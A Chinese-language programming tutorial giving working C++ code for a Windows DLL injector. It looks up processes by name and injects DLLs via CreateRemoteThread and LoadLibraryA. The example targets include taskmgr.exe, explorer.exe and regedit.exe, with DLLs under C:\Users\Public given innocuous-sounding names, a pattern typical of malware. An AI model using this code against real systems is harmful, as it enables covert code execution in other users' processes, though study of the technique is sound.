利用C++的HashMap結構實現一個多DLL注入器
1.技術實現背景
在C++代碼中, 如果要實現將一個Dll高效的注入到多個進程中, 可以定義一個HashMap結構, 在該結構中, 鍵名用來保存多個進程的名稱, 而對應的鍵值可以對應的保存一個或多個DLL路徑, 這個HashMap結構定義如下:
unordered_map<string, vector<string>> injectionMap;
而向其填充的鍵和鍵值參考如下:
injectionMap["taskmgr.exe"] = { "C:\\Users\\Public\\mscde.dll","C:\\Users\\Public\\msc23.dll"};
injectionMap["explorer.exe"] = { "C:\\Users\\Public\\mscde.dll" };
injectionMap["regedit.exe"] = { "C:\\Users\\Public\\mscde.dll" };
injectionMap["notepad.exe"] = { "C:\\Users\\Public\\mscde.dll" };
在該結構中, 每個進程可以對應注入的一個或多個Dll, 實際上鍵值是一個字符串數組。
這里設計一個多DLL注入器的函數如下:
int injectDlls(unordered_map <string, vector<string>> injectionMap) {
for (auto& injectRow : injectionMap) {
for (auto& vectorDLL : injectRow.second) {
injectDLL(vectorDLL, getPIDbyProcName(injectRow.first));
}
cout << endl;
}
return 0;
}
該函數實現的功能如下:
- 參數接收一個HashMap結構, 其中鍵保存了要注入的所有進程名稱, 其值保存了要注入到進程的DLL全路徑字符串。
- 循環遍歷該結構, 取出鍵中的進程名傳給getPIDbyProcName()函數獲取該進程名對應的PID; 取出鍵值中的DLL全路徑傳給injectDLL()函數的第一個參數, 將獲取的PID作為injectDLL()函數的第二個參數傳入。
- 最終由injectDLL()函數完成進程DLL注入。
2.實現通過進程名獲取PID
通過進程名獲取PID的C++參考代碼如下:
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
while (pid == 0 && Process32NextW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
if (wcscmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
}
}
}
CloseHandle(hSnap);
return pid;
}
以上代碼屬于常規操作, 不再贅述。
3.實現DLL遠程注入
實現遠程DLL注入的injectDLL() 函數參考代碼如下:
bool injectDLL(string dllPath, int pid) {
char* dllPathChar = new char[dllPath.length() + 1];
strcpy_s(dllPathChar, dllPath.length() + 1, dllPath.c_str());
dllPathChar[dllPath.length()] = '\0';
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProc == NULL) {
cout << "OpenProcess failed" << endl;
return false;
}
LPVOID LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (LoadLibAddr == NULL) {
cout << "GetProcAddress failed" << endl;
return false;
}
LPVOID dereercomp = VirtualAllocEx(hProc, NULL, strlen(dllPathChar), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (dereercomp == NULL) {
cout << "VirtualAllocEx failed" << endl;
return false;
}
if (WriteProcessMemory(hProc, dereercomp, dllPathChar, strlen(dllPathChar), NULL) == 0) {
cout << "WriteProcessMemory failed" << endl;
return false;
}
HANDLE hThread = CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddr, dereercomp, NULL, NULL);
if (hThread == NULL) {
cout << "CreateRemoteThread failed" << endl;
return false;
}
CloseHandle(hProc);
CloseHandle(hThread);
return true;
}
遠程DLL注入函數injectDLL() 主要完成了以下工作:
- 接收兩個參數, dllPath是要注入的DLL全路徑, pid是目標進程的ID。
- 在目標進程中調用VirtualAllocEx函數分配內存,需要傳入DLL全路徑。
- 調用WriteProcessMemory函數將DLL全路徑寫入到分配的內存中。
- 動態獲取kernel32.dll中的LoadLibraryA函數地址。
- 在目標進程中通過CreateRemoteThread創建一個遠程線程, 將入口點設置為LoadLibraryA函數, 并將參數指向目標進程中的DLL路徑。
- 關閉進程和遠程線程句柄。
- 如果注入成功返回true, 否則返回false。
4.注意事項
以上代碼在布滿實時監控檢測的機器上已經不再適用于各種非法用途, 但DLL注入仍然在很多場景被用到, 例如: 軟件調試、逆向工程、輔助工具開發等。上面的代碼實現主要是為了分享對DLL注入的技術細節理解和參考。